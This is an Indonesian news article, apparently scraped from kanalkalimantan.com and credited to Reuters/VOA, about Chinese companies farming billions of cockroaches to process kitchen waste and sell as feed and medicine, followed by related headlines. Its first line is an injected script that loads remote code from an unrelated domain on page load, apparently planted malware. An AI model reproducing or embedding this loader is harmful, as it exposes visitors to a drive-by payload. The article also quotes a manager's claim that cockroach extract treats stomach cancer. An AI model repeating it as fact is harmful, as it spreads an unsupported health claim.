(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kecoak dipandang sebagai menjijikan. Tapi di Cina, kecoak mulai dilirik tidak saja sebagai solusi pengolahan sampah dapur, tapi juga sebagai bisnis yang menggiurkan.
Kecoak yang suka dengan sisa makanan memberi ide kepada beberapa bisnis di Cina untuk menggunakan serangga, yang diternakkan dalam jumlah miliaran di berbagai tempat, untuk mengurangi sampah dapur.
Tapi kecoak-kecoak tersebut tidak sekedar mengolah sampah. Setelah mati, kecoak-kecoak itu diolah menjadi pakan ternak bergizi bagi ternak. Bahkan, menurut beberapa pihak, bisa diolah menjadi obat dan perawatan kecantikan. Dan kegiatan itu menjadi sumber uang untuk beberapa pebisnis di Provinsi Shandong.
Di pinggiran Kota Jinan, ibu kota Provinsi Shandong, satu miliar kecoak setiap hari diberi makan 50 ton sampah dapur, jumlah yang cukup untuk makan tujuh gajah dewasa.
Sampah-sampah itu tiba sebelum pagi di sebuah pabrik yang dikelola oleh Shandong Qiaobin Agricultural Technology Co. Sisa-sisa makanan itu diberikan kepada kecoak-kecoak yang ditempatkan di kandang-kandang, melalui pipa.
“Kecoak-kecoak menjadi jalan bio-teknologi untuk mengubah dan mengolah sampah dapur,†kata Liu Yusheng, presiden Asosiasi Industri Serangga Shandong, seperti dikutip dari Reuters.
“Kecoak juga sumber protein yang baik untuk babi dan ternak lainnya. Seperti mengubah sampah sumber daya,†kata Kepala Shandong Qiaobin, Li Hongyi.
Shandong Qiaobin berencana untuk membuat tiga pabrik lagi tahun depan, dan menarget untuk mengolah sepertiga sampah dapur yang dihasilkan oleh Jinan, yang berpenduduk tujuh juta orang.
Di sebuah desa terpencil di Sichuan, Li Bingcai, juga punya ide yang sama.
Li, 47 tahun, bekas penjual ponsel, sudah menggelontorkan satu juga yuan untuk berbisnis kecoak. Serangga itu dia jual sebagai pakan ke peternakan babi dan ikan serta ke perusahaan-perusahan obat sebagai bahan-bahan pembuatan obat. Dia memelihara 3,4 juta kecoak di peternakannya.
“Orang melihat bisnis saya aneh,†kata Li kepada Reuters. “Bisnis ini punya nilai ekonomi yang besar dan tujuan saya adalah membawa warga desa lainnya untuk sejahtera, bila mereka mengikuti langkah saya.â€Â
Ada dua peternakan kecoak di desanya. Target Li adalah menciptakan 20 peternakan.
Masih di Sichuan, sebuah perusahaan bernama Gooddoctor menternakkan enam miliar kecoak.
“Sari kecoak bagus untuk mengobati sariawan mulut dan luka lambung, luka di kulit dan bahkan kanker perut,†kata Wen Jianguao, manajer fasilitas kecoak di Gooddoctor.
Para peneliti juga meneliti penggunaan ekstrak kecoak untuk masker kecantikan, pil diet, dan pengobatan kerontokan rambut. (ft/au/kk/voa)
KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah melalui Badan Gizi Nasional akan memulai program makan bergizi gratis pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
This website uses cookies.